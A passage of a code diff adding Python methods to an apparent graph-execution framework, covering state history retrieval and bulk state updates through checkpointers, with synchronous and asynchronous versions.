+            apply_pending_writes=CONFIG_KEY_CHECKPOINT_ID not in config[CONF],
+        )
+
+    def get_state_history(
+        self,
+        config: RunnableConfig,
+        *,
+        filter: dict[str, Any] | None = None,
+        before: RunnableConfig | None = None,
+        limit: int | None = None,
+    ) -> Iterator[StateSnapshot]:
+        """Get the history of the state of the graph."""
+        config = ensure_config(config)
+        checkpointer: BaseCheckpointSaver | None = config[CONF].get(
+            CONFIG_KEY_CHECKPOINTER, self.checkpointer
+        )
+        if isinstance(checkpointer, BaseCheckpointSaver):
+            checkpointer = self._apply_checkpointer_allowlist(checkpointer)
+        if not checkpointer:
+            raise ValueError("No checkpointer set")
+
+        if (
+            checkpoint_ns := config[CONF].get(CONFIG_KEY_CHECKPOINT_NS, "")
+        ) and CONFIG_KEY_CHECKPOINTER not in config[CONF]:
+            # remove task_ids from checkpoint_ns
+            recast = recast_checkpoint_ns(checkpoint_ns)
+            # find the subgraph with the matching name
+            for _, pregel in self.get_subgraphs(namespace=recast, recurse=True):
+                yield from pregel.get_state_history(
+                    patch_configurable(config, {CONFIG_KEY_CHECKPOINTER: checkpointer}),
+                    filter=filter,
+                    before=before,
+                    limit=limit,
+                )
+                return
+            else:
+                raise ValueError(f"Subgraph {recast} not found")
+
+        config = merge_configs(
+            self.config,
+            config,
+            {
+                CONF: {
+                    CONFIG_KEY_CHECKPOINT_NS: checkpoint_ns,
+                    CONFIG_KEY_THREAD_ID: str(config[CONF][CONFIG_KEY_THREAD_ID]),
+                }
+            },
+        )
+        # eagerly consume list() to avoid holding up the db cursor
+        for checkpoint_tuple in list(
+            checkpointer.list(config, before=before, limit=limit, filter=filter)
+        ):
+            yield self._prepare_state_snapshot(
+                checkpoint_tuple.config, checkpoint_tuple
+            )
+
+    async def aget_state_history(
+        self,
+        config: RunnableConfig,
+        *,
+        filter: dict[str, Any] | None = None,
+        before: RunnableConfig | None = None,
+        limit: int | None = None,
+    ) -> AsyncIterator[StateSnapshot]:
+        """Asynchronously get the history of the state of the graph."""
+        config = ensure_config(config)
+        checkpointer: BaseCheckpointSaver | None = ensure_config(config)[CONF].get(
+            CONFIG_KEY_CHECKPOINTER, self.checkpointer
+        )
+        if isinstance(checkpointer, BaseCheckpointSaver):
+            checkpointer = self._apply_checkpointer_allowlist(checkpointer)
+        if not checkpointer:
+            raise ValueError("No checkpointer set")
+
+        if (
+            checkpoint_ns := config[CONF].get(CONFIG_KEY_CHECKPOINT_NS, "")
+        ) and CONFIG_KEY_CHECKPOINTER not in config[CONF]:
+            # remove task_ids from checkpoint_ns
+            recast = recast_checkpoint_ns(checkpoint_ns)
+            # find the subgraph with the matching name
+            async for _, pregel in self.aget_subgraphs(namespace=recast, recurse=True):
+                async for state in pregel.aget_state_history(
+                    patch_configurable(config, {CONFIG_KEY_CHECKPOINTER: checkpointer}),
+                    filter=filter,
+                    before=before,
+                    limit=limit,
+                ):
+                    yield state
+                return
+            else:
+                raise ValueError(f"Subgraph {recast} not found")
+
+        config = merge_configs(
+            self.config,
+            config,
+            {
+                CONF: {
+                    CONFIG_KEY_CHECKPOINT_NS: checkpoint_ns,
+                    CONFIG_KEY_THREAD_ID: str(config[CONF][CONFIG_KEY_THREAD_ID]),
+                }
+            },
+        )
+        # eagerly consume list() to avoid holding up the db cursor
+        for checkpoint_tuple in [
+            c
+            async for c in checkpointer.alist(
+                config, before=before, limit=limit, filter=filter
+            )
+        ]:
+            yield await self._aprepare_state_snapshot(
+                checkpoint_tuple.config, checkpoint_tuple
+            )
+
+    def bulk_update_state(
+        self,
+        config: RunnableConfig,
+        supersteps: Sequence[Sequence[StateUpdate]],
+    ) -> RunnableConfig:
+        """Apply updates to the graph state in bulk. Requires a checkpointer to be set.
+
+        Args:
+            config: The config to apply the updates to.
+            supersteps: A list of supersteps, each including a list of updates to apply sequentially to a graph state.
+
+                Each update is a tuple of the form `(values, as_node, task_id)` where `task_id` is optional.
+
+        Raises:
+            ValueError: If no checkpointer is set or no updates are provided.
+            InvalidUpdateError: If an invalid update is provided.
+
+        Returns:
+            RunnableConfig: The updated config.
+        """
+
+        checkpointer: BaseCheckpointSaver | None = ensure_config(config)[CONF].get(
+            CONFIG_KEY_CHECKPOINTER, self.checkpointer
+        )
+        if isinstance(checkpointer, BaseCheckpointSaver):
+            checkpointer = self._apply_checkpointer_allowlist(checkpointer)
+        if not checkpointer:
+            raise ValueError("No checkpointer set")
+
+        if len(supersteps) == 0:
+            raise ValueError("No supersteps provided")
+
+        if any(len(u) == 0 for u in supersteps):
+            raise ValueError("No updates provided")
+
+        # delegate to subgraph
+        if (
+            checkpoint_ns := config[CONF].get(CONFIG_KEY_CHECKPOINT_NS, "")
+        ) and CONFIG_KEY_CHECKPOINTER not in config[CONF]:
+            # remove task_ids from checkpoint_ns
+            recast = recast_checkpoint_ns(checkpoint_ns)
+            # find the subgraph with the matching name
+            for _, pregel in self.get_subgraphs(namespace=recast, recurse=True):
+                return pregel.bulk_update_state(
+                    patch_configurable(config, {CONFIG_KEY_CHECKPOINTER: checkpointer}),
+                    supersteps,
+                )
+            else:
+                raise ValueError(f"Subgraph {recast} not found")
+
+        def perform_superstep(
+            input_config: RunnableConfig, updates: Sequence[StateUpdate]
+        ) -> RunnableConfig:
+            # get last checkpoint
+            config = ensure_config(self.config, input_config)
+            saved = checkpointer.get_tuple(config)
+            if saved is not None:
+                self._migrate_checkpoint(saved.checkpoint)
+            checkpoint = (
+                copy_checkpoint(saved.checkpoint) if saved else empty_checkpoint()
+            )
+            checkpoint_previous_versions = (
+                saved.checkpoint["channel_versions"].copy() if saved else {}
+            )
+            step = saved.metadata.get("step", -1) if saved else -1
+            # merge configurable fields with previous checkpoint config
+            checkpoint_config = patch_configurable(
+                config,
+                {
+                    CONFIG_KEY_CHECKPOINT_NS: config[CONF].get(
+                        CONFIG_KEY_CHECKPOINT_NS, ""
+                    )
+                },
+            )
+            if saved:
+                checkpoint_config = patch_configurable(config, saved.config[CONF])
+            channels, managed = channels_from_checkpoint(
+                self.channels,
+                checkpoint,
+                saver=self.checkpointer
+                if saved is not None
+                and isinstance(self.checkpointer, BaseCheckpointSaver)
+                else None,
+                config=saved.config if saved is not None else None,
+            )
+            values, as_node = updates[0][:2]
+
+            # no values as END, just clear all tasks
+            if values is None and as_node == END:
+                if len(updates) > 1:
+                    raise InvalidUpdateError(
+                        "Cannot apply multiple updates when clearing state"
+                    )
+
+                if saved is not None:
+                    # tasks for this checkpoint
+                    next_tasks = prepare_next_tasks(
+                        checkpoint,
+                        saved.pending_writes or [],
+                        self.nodes,
+                        channels,
+                        managed,
+                        saved.config,
+                        step + 1,
+                        step + 3,
+                        for_execution=True,
+                        store=self.store,
+                        checkpointer=checkpointer,
+                        manager=None,
+                    )
+                    # apply null writes
+                    if null_writes := [
+                        w[1:]
+                        for w in saved.pending_writes or []
+                        if w[0] == NULL_TASK_ID
+                    ]:
+                        apply_writes(
+                            checkpoint,
+                            channels,
+                            [PregelTaskWrites((), INPUT, null_writes, [])],
+                            checkpointer.get_next_version,
+                            self.trigger_to_nodes,
+                        )
+                    # apply writes from tasks that already ran
+                    for tid, k, v in saved.pending_writes or []:
+                        if k in (ERROR, INTERRUPT):
+                            continue
+                        if tid not in next_tasks:
+                            continue
+                        next_tasks[tid].writes.append((k, v))
+                    # clear all current tasks
+                    apply_writes(
+                        checkpoint,
+                        channels,
+                        next_tasks.values(),
+                        checkpointer.get_next_version,
+                        self.trigger_to_nodes,
+                    )
+                # save checkpoint
+                next_config = checkpointer.put(
+                    checkpoint_config,
+                    create_checkpoint(checkpoint, channels, step),
+                    {
+                        "source": "update",
+                        "step": step + 1,
+                        "parents": saved.metadata.get("parents", {}) if saved else {},
+                    },
+                    get_new_channel_versions(
+                        checkpoint_previous_versions,
+                        checkpoint["channel_versions"],
+                    ),
+                )
+                return patch_checkpoint_map(
+                    next_config, saved.metadata if saved else None
+                )
+
+            # act as an input
+            if as_node == INPUT:
+                if len(updates) > 1:
+                    raise InvalidUpdateError(
+                        "Cannot apply multiple updates when updating as input"
+                    )
+
+                if input_writes := deque(map_input(self.input_channels, values)):
+                    apply_writes(
+                        checkpoint,
+                        channels,
+                        [PregelTaskWrites((), INPUT, input_writes, [])],
+                        checkpointer.get_next_version,
+                        self.trigger_to_nodes,
+                    )
+
+                    # apply input write to channels
+                    next_step = (
+                        step + 1
+                        if saved and saved.metadata.get("step") is not None
+                        else -1
+                    )
+                    next_config = checkpointer.put(
+                        checkpoint_config,
+                        create_checkpoint(checkpoint, channels, next_step),
+                        {
+                            "source": "input",
+                            "step": next_step,
+                            "parents": saved.metadata.get("parents", {})
+                            if saved
+                            else {},
+                        },
+                        get_new_channel_versions(
+                            checkpoint_previous_versions,
+                            checkpoint["channel_versions"],
+                        ),
+                    )
+
+                    # store the writes
+                    checkpointer.put_writes(
+                        next_config,
+                        input_writes,
+                        str(uuid5(UUID(checkpoint["id"]), INPUT)),
+                    )
+
+                    return patch_checkpoint_map(
+                        next_config, saved.metadata if saved else None
+                    )
+                else:
+                    raise InvalidUpdateError(
+                        f"Received no input writes for {self.input_channels}"
+                    )
+
+            # copy checkpoint
+            if as_node == "__copy__":
+                if len(updates) > 1:
+                    raise InvalidUpdateError(
+                        "Cannot copy checkpoint with multiple updates"
+                    )
+
+                if saved is None:
+                    raise InvalidUpdateError("Cannot copy a non-existent checkpoint")
+
+                next_checkpoint = create_checkpoint(checkpoint, None, step)
+
+                # copy checkpoint
+                next_config = checkpointer.put(
+                    saved.parent_config
+                    or patch_configurable(
+                        saved.config, {CONFIG_KEY_CHECKPOINT_ID: None}
+                    ),
+                    next_checkpoint,
+                    {
+                        "source": "fork",
+                        "step": step + 1,
+                        "parents": saved.metadata.get("parents", {}),
+                    },
+                    {},
+                )
+
+                # we want to both clone a checkpoint and update state in one go.
+                # reuse the same task ID if possible.
+                if isinstance(values, list) and len(values) > 0:
+                    # figure out the task IDs for the next update checkpoint
+                    next_tasks = prepare_next_tasks(
+                        next_checkpoint,
+                        saved.pending_writes or [],
+                        self.nodes,
+                        channels,
+                        managed,
+                        next_config,
+                        step + 2,
+                        step + 4,
+                        for_execution=True,
+                        store=self.store,
+                        checkpointer=checkpointer,
+                        manager=None,
+                    )
+
+                    tasks_group_by = defaultdict(list)
+                    user_group_by: dict[str, list[StateUpdate]] = defaultdict(list)
+
+                    for task in next_tasks.values():
+                        tasks_group_by[task.name].append(task.id)
+
+                    for item in values:
+                        if not isinstance(item, Sequence):
+                            raise InvalidUpdateError(
+                                f"Invalid update item: {item} when copying checkpoint"
+                            )
+
+                        values, as_node = item[:2]
+
+                        user_group = user_group_by[as_node]
+                        tasks_group = tasks_group_by[as_node]
+
+                        target_idx = len(user_group)
+                        task_id = (
+                            tasks_group[target_idx]
+                            if target_idx < len(tasks_group)
+                            else None
+                        )
+
+                        user_group_by[as_node].append(
+                            StateUpdate(values=values, as_node=as_node, task_id=task_id)
+                        )
+
+                    return perform_superstep(
+                        patch_checkpoint_map(next_config, saved.metadata),
+                        [item for lst in user_group_by.values() for item in lst],
+                    )
+
+                return patch_checkpoint_map(next_config, saved.metadata)
+
+            # task ids can be provided in the StateUpdate, but if not,
+            # we use the task id generated by prepare_next_tasks
+            node_to_task_ids: dict[str, deque[str]] = defaultdict(deque)
+            if saved is not None and saved.pending_writes is not None:
+                # we call prepare_next_tasks to discover the task IDs that
+                # would have been generated, so we can reuse them and
+                # properly populate task.result in state history
+                next_tasks = prepare_next_tasks(
+                    checkpoint,
+                    saved.pending_writes,
+                    self.nodes,
+                    channels,
+                    managed,
+                    saved.config,
+                    step + 1,
+                    step + 3,
+                    for_execution=True,
+                    store=self.store,
+                    checkpointer=checkpointer,
+                    manager=None,
+                )
+                # collect task ids to reuse so we can properly attach task results
+                for t in next_tasks.values():
+                    node_to_task_ids[t.name].append(t.id)
+
+            valid_updates: list[tuple[str, dict[str, Any] | None, str | None]] = []
+            if len(updates) == 1:
+                values, as_node, task_id = updates[0]
+                # find last node that updated the state, if not provided
+                if as_node is None and len(self.nodes) == 1:
+                    as_node = tuple(self.nodes)[0]
+                elif as_node is None and not any(
+                    v
+                    for vv in checkpoint["versions_seen"].values()
+                    for v in vv.values()
+                ):
+                    if (
+                        isinstance(self.input_channels, str)
+                        and self.input_channels in self.nodes
+                    ):
+                        as_node = self.input_channels
+                elif as_node is None:
+                    last_seen_by_node = sorted(
+                        (v, n)
+                        for n, seen in checkpoint["versions_seen"].items()
+                        if n in self.nodes
+                        for v in seen.values()
+                    )
+                    # if two nodes updated the state at the same time, it's ambiguous
+                    if last_seen_by_node:
+                        if len(last_seen_by_node) == 1:
+                            as_node = last_seen_by_node[0][1]
+                        elif last_seen_by_node[-1][0] != last_seen_by_node[-2][0]:
+                            as_node = last_seen_by_node[-1][1]
+                if as_node is None:
+                    raise InvalidUpdateError("Ambiguous update, specify as_node")
+                if as_node not in self.nodes:
+                    raise InvalidUpdateError(f"Node {as_node} does not exist")
+                valid_updates.append((as_node, values, task_id))
+            else:
+                for values, as_node, task_id in updates:
+                    if as_node is None:
+                        raise InvalidUpdateError(
+                            "as_node is required when applying multiple updates"
+                        )
+                    if as_node not in self.nodes:
+                        raise InvalidUpdateError(f"Node {as_node} does not exist")
+
+                    valid_updates.append((as_node, values, task_id))
+
+            run_tasks: list[PregelTaskWrites] = []
+            run_task_ids: list[str] = []
+
+            for as_node, values, provided_task_id in valid_updates:
+                # create task to run all writers of the chosen node
+                writers = self.nodes[as_node].flat_writers
+                if not writers:
+                    raise InvalidUpdateError(f"Node {as_node} has no writers")
+                writes: deque[tuple[str, Any]] = deque()
+                task = PregelTaskWrites((), as_node, writes, [INTERRUPT])
+                # get the task ids that were prepared for this node
+                # if a task id was provided in the StateUpdate, we use it
+                # otherwise, we use the next available task id
+                prepared_task_ids = node_to_task_ids.get(as_node, deque())
+                task_id = provided_task_id or (
+                    prepared_task_ids.popleft()
+                    if prepared_task_ids
+                    else str(uuid5(UUID(checkpoint["id"]), INTERRUPT))
+                )
+                run_tasks.append(task)
+                run_task_ids.append(task_id)
+                run = RunnableSequence(*writers) if len(writers) > 1 else writers[0]
+                # execute task
+                run.invoke(
+                    values,
+                    patch_config(
+                        config,
+                        run_name=self.name + "UpdateState",
+                        configurable={
+                            # deque.extend is thread-safe
+                            CONFIG_KEY_SEND: writes.extend,
+                            CONFIG_KEY_TASK_ID: task_id,
+                            CONFIG_KEY_READ: partial(
+                                local_read,
+                                _scratchpad(
+                                    None,
+                                    [],
+                                    task_id,
+                                    "",
+                                    None,
+                                    step,
+                                    step + 2,
+                                ),
+                                channels,
+                                managed,
+                                task,
+                            ),
+                        },
+                    ),
+                )
+            updated_channels = get_updated_channels_from_tasks(run_tasks)
+            if saved is not None:
+                for task_id, task in zip(run_task_ids, run_tasks):
+                    channel_writes = [w for w in task.writes if w[0] != PUSH]
+                    if channel_writes:
+                        checkpointer.put_writes(
+                            checkpoint_config, channel_writes, task_id
+                        )
+            apply_writes(
+                checkpoint,
+                channels,
+                run_tasks,
+                checkpointer.get_next_version,
+                self.trigger_to_nodes,
+            )
+            channels_to_snapshot, checkpoint_metadata = (
+                create_checkpoint_plan_for_update_state_api(
+                    channels,
+                    updated_channels,
+                    step=step + 1,
+                    parents=saved.metadata.get("parents", {}) if saved else {},
+                    saved_metadata=saved.metadata if saved else None,
+                    is_fresh_thread=saved is None,
+                )
+            )
+            checkpoint = create_checkpoint(
+                checkpoint,
+                channels,
+                step + 1,
+                updated_channels=updated_channels if channels_to_snapshot else None,
+                get_next_version=checkpointer.get_next_version
+                if channels_to_snapshot
+                else None,
+                channels_to_snapshot=channels_to_snapshot,
+            )
+            next_config = checkpointer.put(
+                checkpoint_config,
+                checkpoint,
+                checkpoint_metadata,
+                get_new_channel_versions(
+                    checkpoint_previous_versions, checkpoint["channel_versions"]
+                ),
+            )
+            for task_id, task in zip(run_task_ids, run_tasks):
+                if push_writes := [w for w in task.writes if w[0] == PUSH]:
+                    checkpointer.put_writes(next_config, push_writes, task_id)
+
+            return patch_checkpoint_map(next_config, saved.metadata if saved else None)
+
+        current_config = patch_configurable(
+            config, {CONFIG_KEY_THREAD_ID: str(config[CONF][CONFIG_KEY_THREAD_ID])}
+        )
+        for superstep in supersteps:
+            current_config = perform_superstep(current_config, superstep)
+        return current_config
+
+    async def abulk_update_state(
+        self,
+        config: RunnableConfig,
+        supersteps: Sequence[Sequence[StateUpdate]],
+    ) -> RunnableConfig:
+        """Asynchronously apply updates to the graph state in bulk. Requires a checkpointer to be set.
+
+        Args:
+            config: The config to apply the updates to.
+            supersteps: A list of supersteps, each including a list of updates to apply sequentially to a graph state.
+
+                Each update is a tuple of the form `(values, as_node, task_id)` where `task_id` is optional.
+
+        Raises:
+            ValueError: If no checkpointer is set or no updates are provided.
+            InvalidUpdateError: If an invalid update is provided.
+
+        Returns:
+            RunnableConfig: The updated config.
+        """
+
+        checkpointer: BaseCheckpointSaver | None = ensure_config(config)[CONF].get(
+            CONFIG_KEY_CHECKPOINTER, self.checkpointer
+        )
+        if isinstance(checkpointer, BaseCheckpointSaver):
+            checkpointer = self._apply_checkpointer_allowlist(checkpointer)
+        if not checkpointer:
+            raise ValueError("No checkpointer set")
+
+        if len(supersteps) == 0:
+            raise ValueError("No supersteps provided")
+
+        if any(len(u) == 0 for u in supersteps):
+            raise ValueError("No updates provided")
+
+        # delegate to subgraph
+        if (
+            checkpoint_ns := config[CONF].get(CONFIG_KEY_CHECKPOINT_NS, "")
+        ) and CONFIG_KEY_CHECKPOINTER not in config[CONF]:
+            # remove task_ids from checkpoint_ns
+            recast = recast_checkpoint_ns(checkpoint_ns)
+            # find the subgraph with the matching name
+            async for _, pregel in self.aget_subgraphs(namespace=recast, recurse=True):
+                return await pregel.abulk_update_state(
+                    patch_configurable(config, {CONFIG_KEY_CHECKPOINTER: checkpointer}),
+                    supersteps,
+                )
+            else:
+                raise ValueError(f"Subgraph {recast} not found")
+
+        async def aperform_superstep(
+            input_config: RunnableConfig, updates: Sequence[StateUpdate]
+        ) -> RunnableConfig:
+            # get last checkpoint
+            config = ensure_config(self.config, input_config)
+            saved = await checkpointer.aget_tuple(config)
+            if saved is not None:
+                self._migrate_checkpoint(saved.checkpoint)
+            checkpoint = (
+                copy_checkpoint(saved.checkpoint) if saved else empty_checkpoint()
+            )
+            checkpoint_previous_versions = (
+                saved.checkpoint["channel_versions"].copy() if saved else {}
+            )
+            step = saved.metadata.get("step", -1) if saved else -1
+            # merge configurable fields with previous checkpoint config
+            checkpoint_config = patch_configurable(
+                config,
+                {
+                    CONFIG_KEY_CHECKPOINT_NS: config[CONF].get(
+                        CONFIG_KEY_CHECKPOINT_NS, ""
+                    )
+                },
+            )
+            if saved:
+                checkpoint_config = patch_configurable(config, saved.config[CONF])
+            channels, managed = await achannels_from_checkpoint(
+                self.channels,
+                checkpoint,
+                saver=self.checkpointer
+                if saved is not None
+                and isinstance(self.checkpointer, BaseCheckpointSaver)
+                else None,
+                config=saved.config if saved is not None else None,
+            )
+            values, as_node = updates[0][:2]
+            # no values, just clear all tasks
+            if values is None and as_node == END:
+                if len(updates) > 1:
+                    raise InvalidUpdateError(
+                        "Cannot apply multiple updates when clearing state"
+                    )
+                if saved is not None:
+                    # tasks for this checkpoint
+                    next_tasks = prepare_next_tasks(
+                        checkpoint,
+                        saved.pending_writes or [],
+                        self.nodes,
+                        channels,
+                        managed,
+                        saved.config,
+                        step + 1,
+                        step + 3,
+                        for_execution=True,
+                        store=self.store,
+                        checkpointer=checkpointer,
+                        manager=None,
+                    )
+                    # apply null writes
+                    if null_writes := [
+                        w[1:]
+                        for w in saved.pending_writes or []
+                        if w[0] == NULL_TASK_ID
+                    ]:
+                        apply_writes(
+                            checkpoint,
+                            channels,
+                            [PregelTaskWrites((), INPUT, null_writes, [])],
+                            checkpointer.get_next_version,
+                            self.trigger_to_nodes,
+                        )
+                    # apply writes from tasks that already ran
+                    for tid, k, v in saved.pending_writes or []:
+                        if k in (ERROR, INTERRUPT):
+                            continue
+                        if tid not in next_tasks:
+                            continue
+                        next_tasks[tid].writes.append((k, v))
+                    # clear all current tasks
+                    apply_writes(
+                        checkpoint,
+                        channels,
+                        next_tasks.values(),
+                        checkpointer.get_next_version,
+                        self.trigger_to_nodes,
+                    )
+                # save checkpoint
+                next_config = await checkpointer.aput(
+                    checkpoint_config,
+                    create_checkpoint(checkpoint, channels, step),
+                    {
+                        "source": "update",
+                        "step": step + 1,
+                        "parents": saved.metadata.get("parents", {}) if saved else {},
+                    },
+                    get_new_channel_versions(
+                        checkpoint_previous_versions, checkpoint["channel_versions"]
+                    ),
+                )
+                return patch_checkpoint_map(
+                    next_config, saved.metadata if saved else None
+                )
+
+            # act as an input
+            if as_node == INPUT:
+                if len(updates) > 1:
+                    raise InvalidUpdateError(
+                        "Cannot apply multiple updates when updating as input"
+                    )
+
+                if input_writes := deque(map_input(self.input_channels, values)):
+                    apply_writes(
+                        checkpoint,
+                        channels,
+                        [PregelTaskWrites((), INPUT, input_writes, [])],
+                        checkpointer.get_next_version,
+                        self.trigger_to_nodes,
+                    )
+
+                    # apply input write to channels
+                    next_step = (
+                        step + 1
+                        if saved and saved.metadata.get("step") is not None
+                        else -1
+                    )
+                    next_config = await checkpointer.aput(
+                        checkpoint_config,
+                        create_checkpoint(checkpoint, channels, next_step),
+                        {
+                            "source": "input",
+                            "step": next_step,
+                            "parents": saved.metadata.get("parents", {})
+                            if saved
+                            else {},
+                        },
+                        get_new_channel_versions(
+                            checkpoint_previous_versions,
+                            checkpoint["channel_versions"],
+                        ),
+                    )
+
+                    # store the writes
+                    await checkpointer.aput_writes(
+                        next_config,
+                        input_writes,
+                        str(uuid5(UUID(checkpoint["id"]), INPUT)),
+                    )
+
+                    return patch_checkpoint_map(
+                        next_config, saved.metadata if saved else None
+                    )
+                else:
+                    raise InvalidUpdateError(
+                        f"Received no input writes for {self.input_channels}"
+                    )
+
+            # no values, copy checkpoint
+            if as_node == "__copy__":
+                if len(updates) > 1:
+                    raise InvalidUpdateError(
+                        "Cannot copy checkpoint with multiple updates"
+                    )
+
+                if saved is None:
+                    raise InvalidUpdateError("Cannot copy a non-existent checkpoint")
+
+                next_checkpoint = create_checkpoint(checkpoint, None, step)
+
+                # copy checkpoint
+                next_config = await checkpointer.aput(
+                    saved.parent_config
+                    or patch_configurable(
+                        saved.config, {CONFIG_KEY_CHECKPOINT_ID: None}
+                    ),
+                    next_checkpoint,
+                    {
+                        "source": "fork",
+                        "step": step + 1,
+                        "parents": saved.metadata.get("parents", {}),
+                    },
+                    {},
+                )
+
+                # we want to both clone a checkpoint and update state in one go.
+                # reuse the same task ID if possible.
+                if isinstance(values, list) and len(values) > 0:
+                    # figure out the task IDs for the next update checkpoint
+                    next_tasks = prepare_next_tasks(
+                        next_checkpoint,
+                        saved.pending_writes or [],
+                        self.nodes,
+                        channels,
+                        managed,
+                        next_config,
+                        step + 2,
+                        step + 4,
+                        for_execution=True,
+                        store=self.store,
+                        checkpointer=checkpointer,
+                        manager=None,
+                    )
+
+                    tasks_group_by = defaultdict(list)
+                    user_group_by: dict[str, list[StateUpdate]] = defaultdict(list)
+
+                    for task in next_tasks.values():
+                        tasks_group_by[task.name].append(task.id)
+
+                    for item in values:
+                        if not isinstance(item, Sequence):
+                            raise InvalidUpdateError(
+                                f"Invalid update item: {item} when copying checkpoint"
+                            )
+
+                        values, as_node = item[:2]
+                        user_group = user_group_by[as_node]
+                        tasks_group = tasks_group_by[as_node]
+
+                        target_idx = len(user_group)
+                        task_id = (
+                            tasks_group[target_idx]
+                            if target_idx < len(tasks_group)
+                            else None
+                        )
+
+                        user_group_by[as_node].append(
+                            StateUpdate(values=values, as_node=as_node, task_id=task_id)
+                        )
+
+                    return await aperform_superstep(
+                        patch_checkpoint_map(next_config, saved.metadata),
+                        [item for lst in user_group_by.values() for item in lst],
+                    )
+
+                return patch_checkpoint_map(
+                    next_config, saved.metadata if saved else None
+                )
+
+            # task ids can be provided in the StateUpdate, but if not,
+            # we use the task id generated by prepare_next_tasks
+            node_to_task_ids: dict[str, deque[str]] = defaultdict(deque)
+            if saved is not None and saved.pending_writes is not None:
+                # we call prepare_next_tasks to discover the task IDs that
+                # would have been generated, so we can reuse them and
+                # properly populate task.result in state history
+                next_tasks = prepare_next_tasks(
+                    checkpoint,
+                    saved.pending_writes,
+                    self.nodes,
+                    channels,
+                    managed,
+                    saved.config,
+                    step + 1,
+                    step + 3,
+                    for_execution=True,
+                    store=self.store,
+                    checkpointer=checkpointer,
+                    manager=None,
+                )
+                # collect task ids to reuse so we can properly attach task results
+                for t in next_tasks.values():
+                    node_to_task_ids[t.name].append(t.id)
+
+            valid_updates: list[tuple[str, dict[str, Any] | None, str | None]] = []
+            if len(updates) == 1:
+                values, as_node, task_id = updates[0]
+                # find last node that updated the state, if not provided
+                if as_node is None and len(self.nodes) == 1:
+                    as_node = tuple(self.nodes)[0]
+                elif as_node is None and not saved:
+                    if (
+                        isinstance(self.input_channels, str)
+                        and self.input_channels in self.nodes
+                    ):
+                        as_node = self.input_channels
+                elif as_node is None:
+                    last_seen_by_node = sorted(
+                        (v, n)
+                        for n, seen in checkpoint["versions_seen"].items()
+                        if n in self.nodes
+                        for v in seen.values()
+                    )
+                    # if two nodes updated the state at the same time, it's ambiguous
+                    if last_seen_by_node:
+                        if len(last_seen_by_node) == 1:
+                            as_node = last_seen_by_node[0][1]
+                        elif last_seen_by_node[-1][0] != last_seen_by_node[-2][0]:
+                            as_node = last_seen_by_node[-1][1]
+                if as_node is None:
+                    raise InvalidUpdateError("Ambiguous update, specify as_node")
+                if as_node not in self.nodes:
+                    raise InvalidUpdateError(f"Node {as_node} does not exist")
+                valid_updates.append((as_node, values, task_id))
+            else:
+                for values, as_node, task_id in updates:
+                    if as_node is None:
+                        raise InvalidUpdateError(
+                            "as_node is required when applying multiple updates"
+                        )
+                    if as_node not in self.nodes:
+                        raise InvalidUpdateError(f"Node {as_node} does not exist")
+
+                    valid_updates.append((as_node, values, task_id))
+
+            run_tasks: list[PregelTaskWrites] = []
+            run_task_ids: list[str] = []
+
+            for as_node, values, provided_task_id in valid_updates:
+                # create task to run all writers of the chosen node
+                writers = self.nodes[as_node].flat_writers
+                if not writers:
+                    raise InvalidUpdateError(f"Node {as_node} has no writers")
+                writes: deque[tuple[str, Any]] = deque()
+                task = PregelTaskWrites((), as_node, writes, [INTERRUPT])
+                # get the task ids that were prepared for this node
+                # if a task id was provided in the StateUpdate, we use it
+                # otherwise, we use the next available task id
+                prepared_task_ids = node_to_task_ids.get(as_node, deque())
+                task_id = provided_task_id or (
+                    prepared_task_ids.popleft()
+                    if prepared_task_ids
+                    else str(uuid5(UUID(checkpoint["id"]), INTERRUPT))
+                )
+                run_tasks.append(task)
+                run_task_ids.append(task_id)
+                run = RunnableSequence(*writers) if len(writers) > 1 else writers[0]
+                # execute task
+                await run.ainvoke(
+                    values,
+                    patch_config(
+                        config,
+                        run_name=self.name + "UpdateState",
+                        configurable={
+                            # deque.extend is thread-safe
+                            CONFIG_KEY_SEND: writes.extend,
+                            CONFIG_KEY_TASK_ID: task_id,
+                            CONFIG_KEY_READ: partial(
+                                local_read,
+                                _scratchpad(
+                                    None,
+                                    [],
+                                    task_id,
+                                    "",
+                                    None,
+                                    step,
+                                    step + 2,
+                                ),
+                                channels,
+                                managed,
+                                task,
+                            ),
+                        },
+                    ),
+                )
+            updated_channels = get_updated_channels_from_tasks(run_tasks)
+            if saved is not None:
+                for task_id, task in zip(run_task_ids, run_tasks):
+                    channel_writes = [w for w in task.writes if w[0] != PUSH]
+                    if channel_writes:
+                        await checkpointer.aput_writes(
+                            checkpoint_config, channel_writes, task_id
+                        )
+            apply_writes(
+                checkpoint,
+                channels,
+                run_tasks,
+                checkpointer.get_next_version,
+                self.trigger_to_nodes,
+            )
+            channels_to_snapshot, checkpoint_metadata = (
+                create_checkpoint_plan_for_update_state_api(
+                    channels,
+                    updated_channels,
+                    step=step + 1,
+                    parents=saved.metadata.get("parents", {}) if saved else {},
+                    saved_metadata=saved.metadata if saved else None,
+                    is_fresh_thread=saved is None,
+                )
+            )
+            checkpoint = create_checkpoint(
+                checkpoint,
+                channels,
+                step + 1,
+                updated_channels=updated_channels if channels_to_snapshot else None,
+                get_next_version=checkpointer.get_next_version
+                if channels_to_snapshot
+                else None,
+                channels_to_snapshot=channels_to_snapshot,
+            )
+            next_config = await checkpointer.aput(
+                checkpoint_config,
+                checkpoint,
+                checkpoint_metadata,
+                get_new_channel_versions(
+                    checkpoint_previous_versions, checkpoint["channel_versions"]
+                ),
+            )
+            for task_id, task in zip(run_task_ids, run_tasks):
+                if push_writes := [w for w in task.writes if w[0] == PUSH]:
+                    await checkpointer.aput_writes(next_config, push_writes, task_id)
+            return patch_checkpoint_map(next_config, saved.metadata if saved else None)
+
+        current_config = patch_configurable(
+            config, {CONFIG_KEY_THREAD_ID: str(config[CONF][CONFIG_KEY_THREAD_ID])}
+        )
+        for superstep in supersteps:
+            current_config = await aperform_superstep(current_config, superstep)
+        return current_config
+
+    def update_state(
+        self,
+        config: RunnableConfig,
+        values: dict[str, Any] | Any | None,
+        as_node: str | None = None,
+        task_id: str | None = None,
+    ) -> RunnableConfig:
+        """Update the state of the graph with the given values, as if they came from
+        node `as_node`. If `as_node` is not provided, it will be set to the last node
+        that updated the state, if not ambiguous.
+        """
+        return self.bulk_update_state(config, [[StateUpdate(values, as_node, task_id)]])
+
+    async def aupdate_state(
+        self,
+        config: RunnableConfig,
+        values: dict[str, Any] | Any,
+        as_node: str | None = None,
+        task_id: str | None = None,
+    ) -> RunnableConfig:
+        """Asynchronously update the state of the graph with the given values, as if they came from
